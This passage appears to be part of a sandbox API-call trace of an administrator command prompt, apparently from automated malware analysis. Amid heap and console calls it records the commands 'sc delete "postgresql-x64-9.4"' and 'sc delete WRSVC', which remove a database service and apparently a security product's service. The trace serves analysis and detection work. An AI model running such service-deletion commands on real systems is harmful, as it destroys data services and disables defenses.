hHeap=0x240000) returned 1 [0077.556] GetEnvironmentStringsW () returned 0x25ba70* [0077.556] GetProcessHeap () returned 0x240000 [0077.556] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0077.556] FreeEnvironmentStringsW (penv=0x25ba70) returned 1 [0077.556] GetProcessHeap () returned 0x240000 [0077.557] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.557] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.557] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.557] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.557] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.557] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.557] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.558] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.558] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.558] GetConsoleOutputCP () returned 0x1b5 [0077.558] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.558] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.558] GetProcessHeap () returned 0x240000 [0077.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0077.558] GetProcessHeap () returned 0x240000 [0077.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.558] GetProcessHeap () returned 0x240000 [0077.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.558] GetProcessHeap () returned 0x240000 [0077.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c590 | out: hHeap=0x240000) returned 1 [0077.558] GetProcessHeap () returned 0x240000 [0077.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.558] GetProcessHeap () returned 0x240000 [0077.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.558] GetProcessHeap () returned 0x240000 [0077.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.558] GetProcessHeap () returned 0x240000 [0077.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.558] GetProcessHeap () returned 0x240000 [0077.558] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.559] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.559] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.559] GetFileType (hFile=0x120) returned 0x3 [0077.559] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.559] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.559] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.559] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.559] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.559] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.559] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.559] GetFileType (hFile=0x120) returned 0x3 [0077.559] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.559] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.559] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.559] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.559] GetFileType (hFile=0xb8) returned 0x3 [0077.559] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.559] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.559] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.559] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.559] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.559] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.560] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.560] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.560] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.560] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.560] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.560] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.560] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.560] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.560] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.560] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.560] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.560] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.560] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.560] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.560] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.560] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.560] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.560] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.560] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.561] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.561] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.561] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.561] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.561] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.561] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"postgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.561] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.561] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.561] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="Wpostgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.561] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.561] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.561] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="Rostgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.561] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.561] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.561] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="Sstgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.561] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.561] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.561] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="Vtgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.561] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.561] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.562] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Cgresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.562] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.562] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.562] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.562] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.562] GetFileType (hFile=0xb8) returned 0x3 [0077.562] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.562] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.562] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.562] GetFileType (hFile=0x120) returned 0x3 [0077.562] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.562] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete WRSVC\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete WRSVC\n", lpUsedDefaultChar=0x0) returned 17 [0077.562] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x10, lpOverlapped=0x0) returned 1 [0077.562] GetProcessHeap () returned 0x240000 [0077.562] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.562] GetProcessHeap () returned 0x240000 [0077.562] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.562] GetProcessHeap () returned 0x240000 [0077.562] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.562] GetProcessHeap () returned 0x240000 [0077.562] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.562] GetProcessHeap () returned 0x240000 [0077.562] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x256510 [0077.562] GetConsoleOutputCP () returned 0x1b5 [0077.563] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.563] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.563] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.563] GetProcessHeap () returned 0x240000 [0077.563] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.563] GetProcessHeap () returned 0x240000 [0077.563] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256550 [0077.563] GetProcessHeap () returned 0x240000 [0077.563] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25ba10 [0077.563] SetErrorMode (uMode=0x0) returned 0x1 [0077.563] SetErrorMode (uMode=0x1) returned 0x0 [0077.563] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25ba20, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.563] SetErrorMode (uMode=0x1) returned 0x1 [0077.563] GetProcessHeap () returned 0x240000 [0077.563] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25ba10, Size=0x62) returned 0x25ba10 [0077.563] GetProcessHeap () returned 0x240000 [0077.563] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25ba10) returned 0x62 [0077.563] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.564] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.564] GetProcessHeap () returned 0x240000 [0077.564] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.564] GetProcessHeap () returned 0x240000 [0077.564] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.564] GetProcessHeap () returned 0x240000 [0077.564] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.564] GetProcessHeap () returned 0x240000 [0077.564] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.564] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.564] GetProcessHeap () returned 0x240000 [0077.564] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0077.564] GetProcessHeap () returned 0x240000 [0077.564] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0077.564] GetProcessHeap () returned 0x240000 [0077.564] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0077.564] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.564] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.564] GetLastError () returned 0x2 [0077.564] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.564] GetLastError () returned 0x2 [0077.565] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.565] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.565] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.565] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.565] GetLastError () returned 0x2 [0077.565] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.565] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.565] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.565] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.565] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.565] GetProcessHeap () returned 0x240000 [0077.565] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.565] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.566] GetProcessHeap () returned 0x240000 [0077.566] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x98) returned 0x259180 [0077.566] GetProcessHeap () returned 0x240000 [0077.566] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x98 [0077.566] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete WRSVC") returned 1 [0077.566] GetProcessHeap () returned 0x240000 [0077.566] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.566] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.566] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.567] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.567] GetProcessHeap () returned 0x240000 [0077.567] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.567] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", 